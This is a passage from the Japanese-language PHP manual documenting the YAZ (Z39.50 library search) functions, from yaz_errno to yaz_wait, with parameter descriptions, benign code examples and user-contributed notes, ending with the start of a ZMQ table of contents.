ほとんどのサーバーは、 F（完全版）および B（短縮版） をサポートします。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


エラー番号を返す

  • ≪ yaz_element
  • yaz_error ≫
  • PHP Manual
  • YAZ 関数
  • エラー番号を返す

yaz_errno

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_errno — エラー番号を返す

説明

yaz_errno ( resource $id ) : int

id で表される サーバーの（直近のリクエストについての）エラー番号を返します。

yaz_errno() は、各ターゲットへのネットワーク接続が 確立された後(つまり、yaz_wait()の後)に コールされる必要があり、直近の操作(例えば検索)が成功したか 失敗したかを判定します。

パラメータ

id

yaz_connect() が返す接続リソース。

返り値

エラーコードを返します。エラーコードは Z39.50 診断コード （通常は Bib-1 診断）あるいは PHP/YAZ が生成するクライアント側の エラーコード（たとえば "Connect failed"、"Init Rejected" など） のいずれかです。

参考

  • yaz_error() - エラーの内容を返す
  • yaz_addinfo() - 詳細なエラー情報を返す

User Contributed Notes

There are no user contributed notes for this page.


エラーの内容を返す

  • ≪ yaz_errno
  • yaz_es_result ≫
  • PHP Manual
  • YAZ 関数
  • エラーの内容を返す

yaz_error

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_error — エラーの内容を返す

説明

yaz_error ( resource $id ) : string

yaz_error() は、yaz_errno() で返された直近のエラー番号に対応する英語のメッセージを返します。

パラメータ

id

yaz_connect() が返す接続リソース。

返り値

id で表される(直近のリクエストの) サーバーに関するエラーメッセージを返します。 直近の操作が成功した場合には空の文字列が返されます。

参考

  • yaz_errno() - エラー番号を返す
  • yaz_addinfo() - 詳細なエラー情報を返す

User Contributed Notes

There are no user contributed notes for this page.


拡張サービスの結果を調査する

  • ≪ yaz_error
  • yaz_es ≫
  • PHP Manual
  • YAZ 関数
  • 拡張サービスの結果を調査する

yaz_es_result

(PHP 4 >= 4.2.0, PECL yaz >= 0.9.0)

yaz_es_result — 拡張サービスの結果を調査する

説明

yaz_es_result ( resource $id ) : array

この関数は、サーバーから返された直近の拡張サービスの結果を調査します。 拡張サービスは、yaz_item_order() あるいは yaz_es() で起動します。

パラメータ

id

yaz_connect() が返す接続リソース。

返り値

要素 targetReference を持つ配列を返します。 この要素には (サーバー側で生成して返された) 拡張サービス操作への参照が格納されます。

参考

  • yaz_es() - 拡張サービスのリクエストを準備する

User Contributed Notes

There are no user contributed notes for this page.


拡張サービスのリクエストを準備する

  • ≪ yaz_es_result
  • yaz_get_option ≫
  • PHP Manual
  • YAZ 関数
  • 拡張サービスのリクエストを準備する

yaz_es

(PECL yaz >= 0.9.0)

yaz_es — 拡張サービスのリクエストを準備する

説明

yaz_es ( resource $id , string $type , array $args ) : void

この関数は、拡張サービスのリクエストを準備します。 拡張サービスとは、レコードの更新や蔵書の注文、データベースの管理などの Z39.50 のさまざまな機能のことです。

注意:

Z39.50 サーバーの多くは、拡張サービスをサポートしていません。

yaz_es() は、拡張サービスリクエストのパッケージを作成し、
それを操作キューに配置します。リクエストをサーバーに送信するには
yaz_wait() を使用します。
yaz_wait() の処理が完了すると、拡張サービス操作の結果が
yaz_es_result() で取得できるようになります。

パラメータ

id

yaz_connect() が返す接続リソース。

type

拡張サービスの形式を表す文字列。 itemorder (蔵書の注文)、 create (データベースの作成)、 drop (データベースの削除)、 commit (操作のコミット)、 update (レコードの更新)、 xmlupdate (XMLの更新) のいずれかです。 個々の形式については、以下の節で指定されます。

args

拡張サービスのオプションに加えてパッケージ固有のオプションを指定する配列。 オプションの形式は、ZOOM C の C API で提供されているものと同じです。 ZOOM » Extended Services を参照ください。

返り値

値を返しません。

例

例1 レコードの更新

<?php
$con = yaz_connect("myhost/database");
$args = array (
    "record" => "<gils><title>some title</title></gils>",
    "syntax" => "xml",
    "action" => "specialUpdate"
);
yaz_es($con, "update", $args);
yaz_wait();
$result = yaz_es_result($id);
?>

参考

  • yaz_es_result() - 拡張サービスの結果を調査する

User Contributed Notes

pol4free at yahoo dot com 08-Mar-2014 03:09
$result=yaz_es_result($id)  is wrong for is example
$result=yaz_es_result($con)


接続に関するオプションの値を返す

  • ≪ yaz_es
  • yaz_hits ≫
  • PHP Manual
  • YAZ 関数
  • 接続に関するオプションの値を返す

yaz_get_option

(PECL yaz >= 0.9.0)

yaz_get_option — 接続に関するオプションの値を返す

説明

yaz_get_option ( resource $id , string $name ) : string

name で指定したオプションの値を返します。

パラメータ

id

yaz_connect() が返す接続リソース。

name

オプションの名前。

返り値

指定したオプションの値を返します。オプションが設定されていない場合は 空文字列を返します。

参考

  • 使用可能なオプションについては、yaz_set_option() - 接続に関するひとつあるいは複数のオプションを設定する を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


直近の検索に関するヒット数を返す

  • ≪ yaz_get_option
  • yaz_itemorder ≫
  • PHP Manual
  • YAZ 関数
  • 直近の検索に関するヒット数を返す

yaz_hits

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_hits — 直近の検索に関するヒット数を返す

説明

yaz_hits ( resource $id , array &$searchresult = ? ) : int

yaz_hits() は、直近の検索に関するヒット数を返します。

パラメータ

id

yaz_connect() が返す接続リソース。

searchresult

詳細な検索結果情報の配列。

返り値

直近の検索に関するヒット数を返します。検索が行われていない場合は 0 を返します。

検索結果配列がもし指定されていた場合、そこには Z39.50 サーバーが返す情報が 含まれます。この情報の形式は、検索結果の応答の一部である SearchResult-1 フォーマットとなります。 SearchResult-1 フォーマットは、さまざまなクエリ(サブクエリ)のヒット数に 関する情報を取得するために使用可能です。 特に、クエリ内の個々の検索語句に関するヒット数を得ることが可能です。 最初のサブクエリについての情報が $array[0] に、2 番目のサブクエリについての 情報が $array[1] に、というような形式となります。

検索結果の項目
要素 | 説明
id | サブクエリの ID2 (string)
count | 結果のカウント / ヒット数 (integer)
subquery.term | サブクエリの語句 (string)
interpretation.term | 解釈されたサブクエリの語句 (string)
recommendation.term | 推奨されるサブクエリの語句 (string)

注意:

SearchResult 機能を使用するには、PECL YAZ 1.0.5 以降 および YAZ 2.1.9 以降が必要です。

注意:

SearchResult 機能をサポートしている Z39.50 実装は ほとんどありません。

User Contributed Notes

There are no user contributed notes for this page.


ILL リクエストパッケージを関して Z39.50 Item Order を準備する

  • ≪ yaz_hits
  • yaz_present ≫
  • PHP Manual
  • YAZ 関数
  • ILL リクエストパッケージを関して Z39.50 Item Order を準備する

yaz_itemorder

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_itemorder — ILL リクエストパッケージを関して Z39.50 Item Order を準備する

説明

yaz_itemorder ( resource $id , array $args ) : void

この関数は、Transport ILL (Profile/1) への Z39.50 Item Order Extended Service 用のプロファイルを使用する Extended Services リクエストを準備します。 » このページ および » 仕様 を参照ください。

パラメータ

id

yaz_connect() が返す接続リソース。

args

送信する Item Order リクエストに関する情報を有するハッシュ配列とする必要があります。 このハッシュ配列のキーは、対応する ASN.1 タグのパス名です。たとえば、 Item-ID 以下に ISBN がある場合のキーは item-id,ISBN となります。

ILL-Request パラメータは次のようになります。

protocol-version-num
transaction-id,initial-requester-id,person-or-institution-symbol,person
transaction-id,initial-requester-id,person-or-institution-symbol,institution
transaction-id,initial-requester-id,name-of-person-or-institution,name-of-person
transaction-id,initial-requester-id,name-of-person-or-institution,name-of-institution
transaction-id,transaction-group-qualifier
transaction-id,transaction-qualifier
transaction-id,sub-transaction-qualifier
service-date-time,this,date
service-date-time,this,time
service-date-time,original,date
service-date-time,original,time
requester-id,person-or-institution-symbol,person
requester-id,person-or-institution-symbol,institution
requester-id,name-of-person-or-institution,name-of-person
requester-id,name-of-person-or-institution,name-of-institution
responder-id,person-or-institution-symbol,person
responder-id,person-or-institution-symbol,institution
responder-id,name-of-person-or-institution,name-of-person
responder-id,name-of-person-or-institution,name-of-institution
transaction-type
delivery-address,postal-address,name-of-person-or-institution,name-of-person
delivery-address,postal-address,name-of-person-or-institution,name-of-institution
delivery-address,postal-address,extended-postal-delivery-address
delivery-address,postal-address,street-and-number
delivery-address,postal-address,post-office-box
delivery-address,postal-address,city
delivery-address,postal-address,region
delivery-address,postal-address,country
delivery-address,postal-address,postal-code
delivery-address,electronic-address,telecom-service-identifier
delivery-address,electronic-address,telecom-service-addreess
billing-address,postal-address,name-of-person-or-institution,name-of-person
billing-address,postal-address,name-of-person-or-institution,name-of-institution
billing-address,postal-address,extended-postal-delivery-address
billing-address,postal-address,street-and-number
billing-address,postal-address,post-office-box
billing-address,postal-address,city
billing-address,postal-address,region
billing-address,postal-address,country
billing-address,postal-address,postal-code
billing-address,electronic-address,telecom-service-identifier
billing-address,electronic-address,telecom-service-addreess
ill-service-type
requester-optional-messages,can-send-RECEIVED
requester-optional-messages,can-send-RETURNED
requester-optional-messages,requester-SHIPPED
requester-optional-messages,requester-CHECKED-IN
search-type,level-of-service
search-type,need-before-date
search-type,expiry-date
search-type,expiry-flag
place-on-hold
client-id,client-name
client-id,client-status
client-id,client-identifier
item-id,item-type
item-id,call-number
item-id,author
item-id,title
item-id,sub-title
item-id,sponsoring-body
item-id,place-of-publication
item-id,publisher
item-id,series-title-number
item-id,volume-issue
item-id,edition
item-id,publication-date
item-id,publication-date-of-component
item-id,author-of-article
item-id,title-of-article
item-id,pagination
item-id,ISBN
item-id,ISSN
item-id,additional-no-letters
item-id,verification-reference-source
copyright-complicance
retry-flag
forward-flag
requester-note
forward-note

Extended Services Request パッケージおよび ItemOrder パッケージにも 次のようないくつかのパラメータがあります。

package-name
user-id
contact-name
contact-phone
contact-email
itemorder-item

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


(Z39.50による)取得の準備を行う

  • ≪ yaz_itemorder
  • yaz_range ≫
  • PHP Manual
  • YAZ 関数
  • (Z39.50による)取得の準備を行う

yaz_present

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_present — (Z39.50による)取得の準備を行う

説明

yaz_present ( resource $id ) : bool

この関数は、検索に成功した後でレコードを取得するための準備を行います。

この関数をコールする前に、取得するレコードの範囲を指定するために まず yaz_range() をコールしておく必要があります。

パラメータ

id

yaz_connect() が返す接続リソース。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


取得するレコードの範囲を指定する

  • ≪ yaz_present
  • yaz_record ≫
  • PHP Manual
  • YAZ 関数
  • 取得するレコードの範囲を指定する

yaz_range

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_range — 取得するレコードの範囲を指定する

説明

yaz_range ( resource $id , int $start , int $number ) : void

取得するレコードの範囲を指定します。

この関数は、yaz_search() あるいは yaz_present() の前にコールしなければなりません。

パラメータ

id

yaz_connect() が返す接続リソース。

start

取得する最初のレコードの位置を指定します。レコード番号は 1 から yaz_hits() までです。

number

取得するレコードの数を指定します。

返り値

値を返しません。

User Contributed Notes

andrew dot isherwood at ptfs-europe dot com 14-Oct-2015 09:31
Note that yaz_range probably doesn't do what you think it's going to to do. i.e. cause the result set to be returned according to the "start" and "number" parameters you supply.

Quoting this thread:
http://lists.indexdata.dk/pipermail/yazlist/2006-November/001752.html

"Generally, the record offset that you give to yaz_record() is the offset into the result set, not into any subset identified by yaz_range(). This is crucial: The yaz_range() function is strictly there to help you write more optimized client code; you do not need to call it.

In other words, if you want to display record numbers 10 to 20 from your set, you loop from 10 to 20 and call yaz_record() for each record. The underlying code will retrieve records as necessary on demand.

However, if you call yaz_range() before you call yaz_wait(), the underlying code will optimize it's behavior.. it will either ask the
server to return records along with the search recult, or submit a single present request to fetch the records (if you're not asking for too many).. it makes no difference in a quick hack, but it can make a dramatic difference if you're designing for many users or heavy traffic. Your loop over yaz_record() will be the same whether you have called yaz_range() first, or not."


レコードを返す

  • ≪ yaz_range
  • yaz_scan_result ≫
  • PHP Manual
  • YAZ 関数
  • レコードを返す

yaz_record

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_record — レコードを返す

説明

yaz_record ( resource $id , int $pos , string $type ) : string

yaz_record() 関数は、現在の結果セットの pos で指定した位置にあるレコードを調べます。

パラメータ

id

yaz_connect() が返す接続リソース。

pos

レコードの位置。結果セット内の位置は 1, 2, ... $hits で表されます。 ここで、$hits は yaz_hits() が返す値です。

type

type は、返されるレコードの型を指定します。

注意:

Z39.50/SRW サーバーから適切な形式でレコードが返されたことを 確認するのは、アプリケーション側の役目です。このパラメータは 単にクライアント側（PHP/YAZ 内）での型変換についてのみ設定します。

レコードを文字列/配列に変換することに加え、PHP/YAZ はレコードの 文字セットを変換することも可能です。 特に USMARC/MARC21 の場合に文字セット変換が推奨されます。なぜなら これらは一般的に結果を MARC-8 文字セットで返しますが、ブラウザでは この文字セットがサポートされていないからです。変換を指定するには、 ; charset=from, to を追加します。 from はレコードの元の文字セットで、 to は結果の文字セット（PHP によって 表示されるもの）です。

string

レコードは、単純な形式の文字列で返されます。 このモードではすべての MARC レコードが ISO2709 の行単位 フォーマットに変換されますが、これは非常に読みにくいものです。 XML レコードおよび SUTRS は、本来のフォーマットのまま返されます。 GRS-1 は（醜い）行単位フォーマットで返されます。

このフォーマットが役に立つのは、結果を手っ取り早く表示したい場合 - デバッグ中など - の場合です。適切な形式で表示するのには適していません。

xml

レコードは、可能ならば XML 文字列として返されます。 このモードでは、すべての MARC レコードは » MARCXML に変換されます。 XML レコードおよび SUTRS は、本来のフォーマットのままで返されます。 GRS-1 はサポートしていません。

このフォーマットは string と似ていますが、 MARC レコードが MARCXML に変換される点が違います。

このフォーマットは、レコードが XML パーサや XSLT プロセッサに 渡される場合に役立ちます。

raw

レコードは、その本来のフォーマットのままで返されます。 MARC、XML および SUTRS で使用可能です。GRS-1 では動作しません。

MARC レコードは ISO2709 文字列として返されます。XML および SUTRS は文字列として返されます。

syntax

レコードの構文が文字列で返されます。たとえば USmarc、GRS-1、 XML などです。

database

レコードの該当位置に関連するデータベースの名前を文字列で返します。

array

レコードは、GRS-1 の構造を反映した配列で返されます。 この型は MARC および GRS-1 で使用可能です。XML、SUTRS はサポートされておらず、実際のレコードが XML あるいは SUTRS であった場合は空文字列が返されます。

返される配列には、GRS-1 の各リーフ/内部ノードに対応するリストが 含まれます。個々のリスト内にもリストがあり、 最初の要素が path でその次が data です（もし data が存在する場合）。

path は、ルートから各リーフまでの（構造化された GRS-1 レコードの） ツリーコンポーネントの一覧を保持します。各コンポーネントはタグ型で、 タグの値は (type, value のような形式のペアとなります。

tags 文字列は、一般に type 3 の tag に対応します。 MARC は配列で返すことも可能です（内部で GRS-1 に変換されます）。

返り値

位置 pos のレコードを返します。もし指定した位置に レコードが存在しない場合は空文字列を返します。

もし指定した位置にデータベースのレコードが存在しない場合、 空文字列が返されます。

例

例1 GRS-1 レコードの配列

このような GRS-1 レコードを想定します。

(4,52)Robert M. Pirsig
(4,70)
      (4,90)
            (2,7)Transworld Publishers, ltd.
このレコードは、ルートに 2 つのノードを持っています。ルートレベルの 最初の要素は (4,52) [tag type 4, tag value 52] で、そのデータは Robert M. Pirsig です。ルートレベルの 2 番目の 要素 (4,70) はサブツリーを持っており、そこにはひとつの要素 (4,90) があります。(4,90) はまた別のサブツリー (2,7) を持っており、 そのデータは Transworld Publishers, ltd. です。

このレコードが $p の位置にあるとすると、

<?php

$ar = yaz_record($id, $p, "array");
print_r($ar);

?>
この出力は以下のようになります。
Array
(
    [0] => Array
        (
            [0] => (4,52)
            [1] => Robert M. Pirsig
        )
    [1] => Array
        (
            [0] => (4,70)
        )
    [2] => Array
        (
            [0] => (4,70)(4,90)
        )
    [3] => Array
        (
            [0] => (4,70)(4,90)(2,7)
            [1] => Transworld Publishers, ltd.
        )
)

例2 MARCXML の使用

この PHP コードは、MARC21/USMARC レコードを MARCXML として返します。 元のレコードは marc-8（ほとんどの XML パーサはこれを理解できません）なので、 これを UTF-8（すべての XML パーサはこれを理解できなければなりません） に変換します。

<?php
$rec = yaz_record($id, $p, "xml; charset=marc-8,utf-8");
?>

レコード $rec は Sablotron XSLT を使用して 以下のように処理可能です。

<?php

$xslfile = 'display.xsl';
$processor = xslt_create();
$parms = array('/_xml' => $rec);
$res = xslt_process($processor, 'arg:/_xml', $xslfile, NULL, $parms);
xslt_free($processor);
$res = preg_replace("'</?html[^>]*>'", '', $res);
echo $res;

?>

PHP 5 では、Sablotron XSLT ではなく XSL 拡張モジュールが使用される必要があります。

User Contributed Notes

There are no user contributed notes for this page.


スキャンリクエストの結果を返す

  • ≪ yaz_record
  • yaz_scan ≫
  • PHP Manual
  • YAZ 関数
  • スキャンリクエストの結果を返す

yaz_scan_result

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_scan_result — スキャンリクエストの結果を返す

説明

yaz_scan_result ( resource $id , array &$result = ? ) : array

yaz_scan_result() は、直近の yaz_scan() の実行時にサーバーから受信した 項目と関連情報を返します。

パラメータ

id

yaz_connect() が返す接続リソース。

result

指定された場合、この配列にスキャン時の応答から得られた追加情報が 代入されます。

  • number - 返されたエントリの数。

  • stepsize - ステップサイズ。

  • position - 項目の位置。

  • status - スキャンステータス。

返り値

配列 (0..n-1) を返します。n は返された項目の数です。個々の値は ペアになっており、最初の値が項目名、2 つめの値が結果の数となります。

User Contributed Notes

There are no user contributed notes for this page.


スキャンの準備をする

  • ≪ yaz_scan_result
  • yaz_schema ≫
  • PHP Manual
  • YAZ 関数
  • スキャンの準備をする

yaz_scan

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_scan — スキャンの準備をする

説明

yaz_scan ( resource $id , string $type , string $startterm , array $flags = ? ) : void

この関数は、指定した接続上で Z39.50 スキャンリクエストの 準備をします。

実際にスキャンリクエストをサーバーへ送信して応答を受信するには、
yaz_wait() をコールする必要があります。
yaz_wait() のコールが完了した後、応答を処理するために
yaz_error() および yaz_scan_result()
をコールします。

パラメータ

id

yaz_connect() が返す接続リソース。

type

現時点では rpn 型のみがサポートされています。

startterm

スキャンを開始する項目の位置。

開始項目の形式は、パラメータ type で与えられます。

このパラメータの構文は、 yaz_search() で説明した RPN クエリに似ています。 startterm は、ゼロ以上の @attr 演算子の後に トークンがひとつだけ続く形式となります。

flags

オプションのパラメータで、スキャンリクエストの動作を制御する 追加情報を指定します。現在、次の3つの添字が flags 配列から 読み込まれます。 number（リクエストされた語の数）、 position（要求された語の位置）、 stepSize（要求されたステップ数）

返り値

値を返しません。

例

例1 タイトルをスキャンする PHP 関数

<?php
function scan_titles($id, $startterm)
{
  yaz_scan($id, "rpn", "@attr 1=4 " . $startterm);
  yaz_wait();
  $errno = yaz_errno($id);
  if ($errno == 0) {
    $ar = yaz_scan_result($id, $options);
    echo 'Scan ok; ';
    foreach ($options as $key => $val) {
      echo "$key = $val &nbsp;";
    }
    echo '<br /><table>';
    while (list($key, list($k, $term, $tcount)) = each($ar)) {
      if (empty($k)) continue;
      echo "<tr><td>$term</td><td>$tcount</td></tr>";
    }
    echo '</table>';
  } else {
    echo "Scan failed. Error: " . yaz_error($id) . "<br />";
  }
}
?>

User Contributed Notes

There are no user contributed notes for this page.


取得するスキーマを指定する

  • ≪ yaz_scan
  • yaz_search ≫
  • PHP Manual
  • YAZ 関数
  • 取得するスキーマを指定する

yaz_schema

(PHP 4 >= 4.2.0, PECL yaz >= 0.9.0)

yaz_schema — 取得するスキーマを指定する

説明

yaz_schema ( resource $id , string $schema ) : void

yaz_schema() は取得するスキーマを指定します。

この関数は、 yaz_search() あるいは yaz_present() より前にコールしなければなりません。

パラメータ

id

yaz_connect() が返す接続リソース。

schema

ドット記法の（1.2.840.10003.13.4 のような） OID あるいは登録されているスキーマのひとつ、たとえば GILS-schema、Holdings、 Zthes などのいずれかで指定する必要があります。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


検索を準備する

  • ≪ yaz_schema
  • yaz_set_option ≫
  • PHP Manual
  • YAZ 関数
  • 検索を準備する

yaz_search

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_search — 検索を準備する

説明

yaz_search ( resource $id , string $type , string $query ) : bool

yaz_search() は、指定した接続で検索を行う準備をします。

yaz_connect() と同様にこの関数は非ブロックモードで 動作し、後で yaz_wait() がコールされたときのために 検索の準備をするだけです。

パラメータ

id

yaz_connect() が返す接続リソース。

type

クエリの型を表します。現在は "rpn" のみがサポート されており、この場合 3 番目の引数には Type-1 クエリを前置表記で 指定します。

query

RPN クエリは、Z39.50 規格により定義された Type-1 クエリのテキスト 表現です。しかし、YAZ により使用されるテキスト表現では、演算子が オペランドの前にある前置表記が使用されます。クエリ文字列はトークンの 並びであり、このトークンでは 2 重引用符で括られない限り空白文字は 無視されます。アットマーク(@)で始まるトークンは 演算子とみなされ、そうでない場合は検索項目として処理されます。

RPN 演算子
構文 | 説明
@and query1 query2 | query1 および query2 の積集合
@or query1 query2 | query1 および query2 の和集合
@not query1 query2 | query1 であり、query2 でない
@set name | 結果セットへのリファレンス
@attrset set query | クエリの属性セットを指定します。この構造が使用できるのは 全てのクエリの始めに一回だけです。
@attr [set] type=value query | クエリに属性を適用します。型と値は属性型と属性値をそれぞれ指定する 整数です。この組みが指定された場合、属性の組を指定します。

属性についての情報は » Z39.50 Maintenance Agency サイトにあります。

注意:

もう少しわかりやすい記法を利用したい場合は、CCL パーサ関数 - yaz_ccl_conf() および yaz_ccl_parse() を使用してください。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 クエリの例

単純な検索は以下のように行います。

computer
は、"computer" を含む文書にマッチします。属性は指定されていません。

クエリ

"knuth donald"
は、"knuth donald" を含む文書にマッチします（サーバーが複数の単語による 検索をサポートしている場合）。

このクエリは、同じフレーズに対して 2 つの属性を適用しています。

@attr 1=1003 @attr 4=1 "knuth donald"
最初の属性は type 1 (Bib-1 use) で、その値は 1003 (Author) です。 2 番目の属性は type 4 (structure) で、その値は 1 (phrase) です。つまりこれは、Donald Knuth が著者である文書にマッチする ことになります。

クエリ

@and @or a b @not @or c d e
は、次のような意味になります。(a or b) and ((c or d) not e)

さらに複雑な例です。

@attrset gils @and @attr 1=4 art @attr 1=2000 company
このクエリは GILS 属性セットをすべて使用しています。このクエリは 表題（Title）に art が含まれ（GILS,BIB-1）、 配布者（Distributor）に company が含まれる（GILS） 文書にマッチします。

User Contributed Notes

k dot andris at gmail dot com 17-Jun-2009 03:49
To display holdings data set the syntax and the record format to "opac" (at least for Horizon ILS). It will give you an xml, containg <holding> elements with all info:

<?php
$z = yaz_connect(...
yaz_syntax($z, 'opac');
yaz_search($z, 'rpn', '@attr 1=4 "title%"');
yaz_wait();
$hits = yaz_hits($z);
yaz_range($z, 1, $hits);
yaz_present($z);
for($i = 1; $i <= $hits; $i++)
       my_display(yaz_record($z, $i, 'opac'));
yaz_close($z);

function my_display($s)
{
  $lines = explode("\n", trim($s));
    var_dump($lines);
}
?>
Colibri 22-Jan-2009 08:42
When querying a SRU/SRW server, the "type" parameter must(?) be specified as "cql", e.g.
yaz_search($handle, "cql", "bath.isbn=1234");
jwohlers at mail dot wcc dot cc dot il dot us 31-Jan-2002 05:21
Quick Reference For Attribute Fields
(eg: "@attr 2=" refers to the Relation attribute)
1 = Use Field
2 = Relation
3 = Position
4 = Structure
5 = Truncate
6 = Completeness


接続に関するひとつあるいは複数のオプションを設定する

  • ≪ yaz_search
  • yaz_sort ≫
  • PHP Manual
  • YAZ 関数
  • 接続に関するひとつあるいは複数のオプションを設定する

yaz_set_option

(PECL yaz >= 0.9.0)

yaz_set_option — 接続に関するひとつあるいは複数のオプションを設定する

説明

yaz_set_option ( resource $id , string $name , string $value ) : void
yaz_set_option ( resource $id , array $options ) : void

指定した接続について、ひとつあるいは複数のオプションを設定します。

パラメータ

id

yaz_connect() が返す接続リソース。

name あるいは options

文字列あるいは配列です。

文字列を指定すると、指定するオプションの名前として扱われます。 その value を指定する必要があります。

配列を指定すると、連想配列（オプション名 -> オプションの値）として 扱われます。

PHP/YAZ 接続オプション
名前 | 説明
implementationName | サーバーの実装名。
implementationVersion | サーバーの実装バージョン。
implementationId | サーバーの実装 ID 。
schema | 取得するスキーマ。デフォルトではスキーマを使用しません。 このオプションを設定することは、yaz_schema() を使用することと等価です。
preferredRecordSyntax | 取得するレコードの構文。 デフォルトでは構文を 使用しません。このオプションを設定することは、 yaz_syntax() を使用することと等価です。
start | yaz_search() あるいは yaz_present() で取得する最初のレコードのオフセット。最初のレコードの 番号は 0 で、2 番目のレコードは 1 です。 このオプションを count とともに設定する ことは、yaz_range() をコールすることと 同じですが、yaz_range() ではレコードの 番号が 1 から始まる点が違います。
count | yaz_search() あるいは yaz_present() で取得するレコードの最大数。
elementSetName | 取得するエレメントセットの名前。このオプションを設定することは、 yaz_element() を使用することと等価です。
value

オプションの新しい値。変更前の値が文字列である場合にのみ これを使用します。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


ソート条件を設定する

  • ≪ yaz_set_option
  • yaz_syntax ≫
  • PHP Manual
  • YAZ 関数
  • ソート条件を設定する

yaz_sort

(PHP 4 >= 4.0.7, PECL yaz >= 0.9.0)

yaz_sort — ソート条件を設定する

説明

yaz_sort ( resource $id , string $criteria ) : void

この関数は、ソート条件を設定して Z39.50 Sort を有効にします。

この関数は、yaz_search() の前に コールします。この関数を単独で使用しても何も意味はありません。 yaz_search() と組み合わせて使用した場合、 検索応答が受信されてから全ての Z39.50 Present で取得される前に Z39.50 Sort が送信されます。

パラメータ

id

yaz_connect() が返す接続リソース。

criteria

field1 flags1 field2 flags2 のような 形式の文字列。field1 は最初にソートする属性を、そして field2 は 2 番目の属性を... のように指定します。

フィールドは、カンマで区切られた 型 = 値 の組からなる数値属性の 組み合わせ（例 1=4,2=1）、または 文字列の方法を指定することも可能です（例 title）。 フラグは次の文字の並びからなり、空白により区切ることはありません。

ソートフラグ
a

昇順ソート

d

降順ソート

i

大文字小文字を区別しないソート

s

大文字小文字を区別するソート

返り値

値を返しません。

例

例1 ソート条件

Bib1 属性のタイトル（title）で大文字小文字を区別しない昇順のソートを 行うには、以下のソート方法を使用してください。

1=4 ia

2 番目のソート条件として著者（author）を指定し、大文字小文字を区別する 昇順のソートを行うには以下のようにします。

1=4 ia 1=1003 sa

User Contributed Notes

peter at NOSPAMimtc dot gatech dot edu 26-Aug-2004 08:37
This information is located in several places in the documentation, but takes awhile to find.

yaz_sort() only works for fields that have an associated sort register.  Failure to link a sort register will generate the error "Cannot sort according to sequence".

The sort register is created in the default.idx file and referenced in the *.abs file.  This is the sort register setting in default.idx:

...
# Sort register (no mapping at all)
sort s
completeness 1
charmap string.chr
...

In the above code the "s" register is setup as the sort register.  Charmap string.chr defines the string conversion for diacritics.

This is the reference to the sort index in the *abs file:

...
elm (2,1)                   title                      !:w,!:p,!:s
...

In the above line the "!:s" causes a sort register to be created for the field.

Once the above changes have been made, reindex all the source records and restart the server.   Check for a "sort<fieldid>-0.mf" file in the zebra data directory to verify operation.  yaz_sort() should now work properly.


取得用に適当なレコード構文を指定する

  • ≪ yaz_sort
  • yaz_wait ≫
  • PHP Manual
  • YAZ 関数
  • 取得用に適当なレコード構文を指定する

yaz_syntax

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_syntax — 取得用に適当なレコード構文を指定する

説明

yaz_syntax ( resource $id , string $syntax ) : void

yaz_syntax() は、取得するレコードの構文を指定します。

この関数は yaz_search() あるいは yaz_present() より前にコールしなければなりません。

パラメータ

id

yaz_connect() が返す接続リソース。

syntax

ドット記法の（1.2.840.10003.5.10 のような） OID あるいは登録されている構文のひとつ（たとえば sutrs、 usmarc、grs1、xml など）のいずれかで指定する必要があります。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Z39.50 リクエストが完了するまで待つ

  • ≪ yaz_syntax
  • 0MQ messaging ≫
  • PHP Manual
  • YAZ 関数
  • Z39.50 リクエストが完了するまで待つ

yaz_wait

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_wait — Z39.50 リクエストが完了するまで待つ

説明

yaz_wait ( array &$options = ? ) : mixed

この関数は、関数 yaz_connect()、
yaz_search()、yaz_present()、
yaz_scan()、yaz_itemorder()
により準備された発行済のリクエストを、ネットワーク経由で（ブロック
モードで）伝送します。

yaz_wait()は、全てのターゲットが全てのリクエストを 完了したか、（エラーの場合には）中断された場合に処理を戻します。

パラメータ

options

オプションの連想配列。

timeout

タイムアウトの秒数を設定します。ターゲットが時間内に応答しなかった 場合は動作していないとみなされ、yaz_wait() は終了します。タイムアウトのデフォルト値は 15 秒です。

event

論理型の値。

返り値

成功した場合に true を、失敗した場合に false を返します。 イベントモードでは、成功した場合にリソース、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ZMQ

  • はじめに
  • インストール/設定
    • 要件
  • ZMQ — The ZMQ class
    • ZMQ::__construct — ZMQ constructor
  • ZMQContext — The ZMQContext class
    • ZMQContext::__construct — Construct a new ZMQContext object
    • ZMQContext::getOpt — Get context option
    • ZMQContext::getSocket — Create a new socket
    • ZMQContext::isPersistent — Whether the context is persistent
    • ZMQContext::setOpt — Set a socket option
  • ZMQSocket — The ZMQSocket class
    • ZMQSocket::bind — Bind the socket
    • ZMQSocket::connect — Connect the socket
    • ZMQSocket::__construct — Construct a new ZMQSocket
    • ZMQSocket::disconnect — Disconnect a socket
    • ZMQSocket::getEndpoints — Get list of endpoints
    • ZMQSocket::getPersistentId — Get the persistent id
    • ZMQSocket::getSocketType — Get the socket type
    • ZMQSocket::getSockOpt — Get socket option
    • ZMQSocket::isPersistent — Whether the socket is persistent
    • ZMQSocket::recv — Receives a message
    • ZMQSocket::recvMulti — Receives a multipart message
    • ZMQSocket::send — Sends a message
    • ZMQSocket::sendmulti — マルチパートメッセージを送る
    • ZMQSocket::setSockOpt — Set a socket option
